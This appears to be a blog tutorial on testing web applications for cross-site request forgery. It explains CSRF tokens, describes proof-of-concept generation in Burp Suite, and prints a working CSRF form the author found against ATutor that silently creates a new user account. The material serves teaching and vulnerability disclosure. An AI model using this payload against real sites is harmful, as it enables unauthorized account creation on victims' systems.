How to Test for CSRF Vulnerability
Cross-site Request Forgery
Cross-site request forgery, also known as CSRF, is a vulnerability whereby an application accepts a form request without validating its origin.
This is also sometimes known as session riding (note that the word riding is used instead of hijacking). It is a different vulnerability from SQL injection.
It actually took me awhile to understand this concept.
Here is an analogy I came up with:
Now imagine the web application is a company’s building.
The company decides to hire a guard to check the identity of every individual passing through the gates.
What the guard needs to check is the origin of a request. This could simply just be an employee identification card or in our case, a CSRF Token.
Testing for CSRF Vulnerabilities
When we test for CSRF vulnerabilities, the first thing is to check if the “employee identification card” exists.
We can do this by intercepting a request using a web proxy (e.g. BurpSuite) and analysing it.
Our objective is to identify random tokens which could be used to verify the origin of the form.
When analyzing the request, there are two possible outcomes:
- The first being that there is no random token and in most cases the web application is vulnerable to CSRF attacks or
- A parameter with a random token. However, it is possible that the protection mechanism is implemented incorrectly. So it is worth a try to remove the token and carry on with the verification
If you are using burp suite, you could generate the CSRF proof of concept (Engagement tools (right click) → Generate POC).
Note that only licensed Burpsuite users have access to engagement tools. However, there are free online tools available such as this one here.
Now that we have the proof of concept, open up the HTML file and click on the button.
If the form is successfully executed, it means that the web application is vulnerable to CSRF. Otherwise, you should see some sort of controlled error message.
Here are some common pages where CSRF is sensitive:
- Creation/deletion of users (with or without privileges)/group
- Posting of entries
- Web application settings
Most of the time developers do not see a CSRF on a logout page as a vulnerability because it does not pose any security risk. If “exploited”, it is more of an annoyance legitimate user.
CSRF on ATutor LMS
Here are screenshots of an actual CSRF vulnerability that I discovered in ATutor CMS.
You could see that there are only two users.
This is the exploit which the attacker have to trick the legitimate administrator to execute.
The button is just a form request without any random tokens.
Here is an example of the exploit.
<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST"> <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" /> <input name="login" type="hidden" value="csrfuser99" /> <input name="email" type="hidden" value="[email protected]" /> <input name="private_email" type="hidden" value="1" /> <input name="email2" type="hidden" value="[email protected]" /> <input name="first_name" type="hidden" value="csrfuser99" /> <input name="last_name" type="hidden" value="csrfuser99" /> <input type="hidden" value="3" /> <input type="hidden" value="Save" /> <input type="submit" value="Submit request" /> </form>
Upon clicking the button, you could see that a new user is created. This means that we have successfully exploited the vulnerability.
Want to find out more on using sqlmap (open source tool for finding SQL injection)? You can read more at my sqlmap tutorial.